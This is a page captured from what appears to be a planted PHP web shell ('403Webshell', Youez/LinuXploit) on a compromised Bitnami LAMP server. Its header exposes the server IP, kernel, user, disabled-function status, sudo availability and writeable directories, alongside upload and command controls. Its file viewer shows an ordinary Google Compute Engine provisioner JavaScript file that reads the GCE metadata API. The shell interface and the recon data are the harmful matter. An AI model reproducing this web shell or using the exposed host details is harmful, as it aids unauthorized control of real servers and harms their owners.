403Webshell
Server IP : 34.87.99.72  /  Your IP : 216.73.217.31
Web Server : Apache/2.4.46 (Unix) OpenSSL/1.1.1n
System : Linux zlock-bitnami-lamp-prod-v2-vm 4.19.0-16-cloud-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
User : bitnami ( 1000)
PHP Version : 7.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/bitnami/nami/node_modules/provisioner/lib/cloud/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/bitnami/nami/node_modules/provisioner/lib/cloud/gce.js
"use strict";
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
    return new (P || (P = Promise))(function (resolve, reject) {
        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
        function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
        function step(result) { result.done ? resolve(result.value) : new P(function (resolve) { resolve(result.value); }).then(fulfilled, rejected); }
        step((generator = generator.apply(thisArg, _arguments || [])).next());
    });
};
Object.defineProperty(exports, "__esModule", { value: true });
const base_1 = require("./base");
const nami_wrapper_1 = require("../nami_wrapper");
const download_1 = require("../download");
const fs = require("fs");
/**
 * Logic specific to Google Compute Engine cloud
 */
class GceCloud extends base_1.BaseCloud {
    constructor(options) {
        super(options);
        this._apiUrl = "http://metadata.google.internal/computeMetadata/v1";
        this.cloudTags = this.cloudTags.concat([
            "gce",
            "prebuilt-image",
            "hypervisor",
            "system-services",
            "include-licenses"
        ]);
    }
    getComputeMetadata(key) {
        return __awaiter(this, void 0, void 0, function* () {
            const dl = new download_1.Download({
                returnData: true,
                ignoreErrors: true,
                headers: {
                    "Metadata-Flavor": "Google"
                }
            });
            yield dl.download(`${this._apiUrl}/${key}`);
            if (dl.statusCode < 400) {
                return dl.body;
            }
            else {
                return undefined;
            }
        });
    }
    /**
     * Download the user data as attribute from metadata API
     */
    _getUserDataNow(key) {
        return __awaiter(this, void 0, void 0, function* () {
            return this.getComputeMetadata(`instance/attributes/${key}`);
        });
    }
    ;
    /**
     * Determines which disk should be used as data disk
     * For Gce this is done by getting the `PROVISIONER_DATA_DISK` attribute and finding the disk
     * fallbacks in the future may include querying
     */
    getDataDiskDetails() {
        return __awaiter(this, void 0, void 0, function* () {
            let dataDisk = yield this.getUserData("PROVISIONER_DATA_DISK");
            let dataDiskLink;
            const diskById = "/dev/disk/by-id";
            const dataDiskPath = `${diskById}/google-${dataDisk}`;
            if (!dataDisk) {
                return undefined;
            }
            if (!nami_wrapper_1.file.exists(dataDiskPath)) {
                return undefined;
            }
            dataDiskLink = nami_wrapper_1.file.join(diskById, fs.readlinkSync(dataDiskPath));
            return {
                dataDiskName: undefined,
                dataDiskPartition: dataDiskLink
            };
        });
    }
    _getMetaDataNow(key) {
        const _super = name => super[name];
        return __awaiter(this, void 0, void 0, function* () {
            if (key === "account-id") {
                const id = yield this.getComputeMetadata("project/numeric-project-id");
                return id || "";
            }
            else {
                return _super("_getMetaDataNow").call(this, key);
            }
        });
    }
}
exports.GceCloud = GceCloud;
;

Youez - 2016 - github.com/yon3zu
LinuXploit